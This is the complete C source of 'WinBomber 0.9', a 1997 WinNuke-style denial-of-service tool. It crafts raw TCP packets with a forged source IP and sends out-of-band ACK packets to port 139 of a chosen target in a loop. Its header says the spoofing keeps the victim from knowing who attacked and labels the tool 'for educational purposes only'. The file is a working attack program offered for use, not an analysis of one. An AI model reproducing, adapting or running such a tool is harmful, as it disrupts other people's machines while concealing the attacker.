
/* ************************************************************ */
/* WinBomber 0.9 by HeTak       05.10.97                        */
/*                                                              */
/* This simply demonstrates shitty Win networking by            */
/* sending Out of Bound Message flag in Ba ACK packet.          */
/* The difference between winnuke.c is that WinBomber           */
/* spoofs source ip (you) for extra security so the person      */
/* who will get nuked will not know who sent the nuke.          */
/* FOR EDUCATIONAL PURPOSES ONLY.                               */
/* Sometimes I'm on irc, find me there for any questions.       */
/*                                                              */
/* ************************************************************ */




#include <unistd.h>

#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/protocols.h>
#include <arpa/inet.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>

#define PACKET_SIZE     sizeof(struct tcppkt)
#define DEF_BADDR       "132.45.6.8"

struct tcppkt {
        struct iphdr    ip;
        struct tcphdr   tcp;
};



unsigned short in_chksum(addr, len)
        u_short *addr;
        int len;
{
        register int nleft = len;
        register u_short *w = addr;
        register int sum =0;
        u_short answer =0;
        
        while(nleft > 1)        {
                sum+= *w++;
                nleft -= 2;
                }
                
        if (nleft == 1) {
         *(u_char *) (&answer) = *(u_char *) w;
         sum+=answer;
         }
         
         sum = (sum >> 16) + ( sum & 0xffff);
         sum += (sum >> 16);
         answer = ~sum;
         return (answer);
}



/* ********************************************************************** */

int bombaway(sin, fakesock, saddr)
        struct sockaddr_in *sin;
        u_long saddr;
        int fakesock;
{
        register struct iphdr *ip;
        register struct tcphdr *tcp;
        register char *php;
        static char packet[PACKET_SIZE];
        static char phead[PACKET_SIZE+12];
        u_short len =0;
        u_short sport = 5150;
        
        ip = (struct iphdr *) packet;
        
        ip->ihl         = 5;
        ip->version     = 4;
        ip->tos         = 0;
        ip->tot_len     = htons(PACKET_SIZE);
        ip->id          = htons(918 + (rand()%32768));
        ip->frag_off    = 0;
        ip->ttl         = 255;
        ip->protocol    = IPPROTO_TCP;
        ip->check       = 0;
        ip->saddr       = saddr;
        ip->daddr       = sin->sin_addr.s_addr; 

        tcp = (struct tcphdr *)(packet + sizeof(struct iphdr));
        tcp->th_sport   = htons(sport++);
        tcp->th_dport   = htons(sin->sin_port);
        tcp->th_seq     = htonl(31337);
        tcp->th_ack     = 0;    
        tcp->th_x2      = 0;
        tcp->th_off     = 5;
        tcp->th_flags   = TH_ACK;       /* Maybe could use some other flag */
        tcp->th_win     = htons(10052); 
        tcp->th_sum     = 0;            
        tcp->th_urp     = 0;            
        php = phead;
        memset(php, 0, PACKET_SIZE + 12);
        memcpy(php, &(ip->saddr), 8);
        php += 9;
        memcpy(php, &(ip->protocol), 1);
        len = htons(sizeof(struct tcphdr));
        memcpy(++php, &(len), 2);
        php += 2;
        memcpy(php, tcp, sizeof(struct tcphdr));
        
        tcp->th_sum = in_chksum(php, sizeof(struct tcphdr)+12);
        
        
        return (sendto(fakesock, packet, PACKET_SIZE, MSG_OOB, (struct sockaddr *) sin,
                        sizeof(struct sockaddr_in)));
}

/* *********************************************************************** */




u_long
resolve(host)
char *host;
{
        struct hostent *he;
        u_long addr;
        if ((he = gethostbyname(host)) == NULL) {
                addr = inet_addr(host);
                }
        else {
                bcopy(*(he->h_addr_list), &(addr), sizeof(he->h_addr_list));
                }
        return (addr);
}


main(argc, argv)

int argc;
char **argv;
{

        int mainsock, fakesock, bombs;
        u_short dport;
        u_long saddr, daddr;
        struct sockaddr_in sin;
        struct hostent *host;
        bombs = saddr = 0;


/* **************************************************************************************** */


if (argc<3)
        {
        printf("Usage: %s <source> <destination> \n", argv[0]);
        exit();
        }



        if ((daddr = resolve(argv[2])) == -1) {         /* Resolve destination */
                printf("Unable to resolve destination hostname -> %s\n", argv[2]);
                exit(1);
                }

        if ((saddr = resolve(argv[1])) == -1) {
                printf("Bad spoofed source -> %s\nOhh well...using default.\n\n", argv[1]);
                saddr=inet_addr(DEF_BADDR);
                }
        

        dport = 139;

/* **************************************************************************************** */  


        bzero(&sin, sizeof(struct sockaddr_in));
        sin.sin_family=AF_INET;
        sin.sin_addr.s_addr=daddr;
        sin.sin_port=htons(139);        


/*      ***************************************************************** */

        if ((mainsock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
                perror("Unable to open main socket.");
                exit(1);
        }

        if ((fakesock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
                perror("Unable to open raw socket.");
                exit(1);
        }
        
        
        if (connect(mainsock, (struct sockaddr *)&sin, 16)== -1) {
           perror("Unable to open connection:");
           close(mainsock);
           }
           
/*      ***************************************************************** */       

        printf("WiNBomber 0.9 by HeTak.\n");
        printf("Connection established.\n");
        printf("Sending <%d> bombs to port <%d> to <%s>...\n", 
                        bombs, ntohs(sin.sin_port), argv[2] );
        printf("Ready to bomb. Sleeping for a while.\n");
        sleep(3);
        while(bombs!=10) {
                printf("<%s> >=----=|B+O+M+B|=-----> <%s:139>\t# <%d>\n",
                        argv[1], argv[2], bombs);
                bombaway(&sin, fakesock, saddr);
                usleep(100000);
                bombs++;
        }
        printf("Bombs dropped.\n");
        exit(0);
}


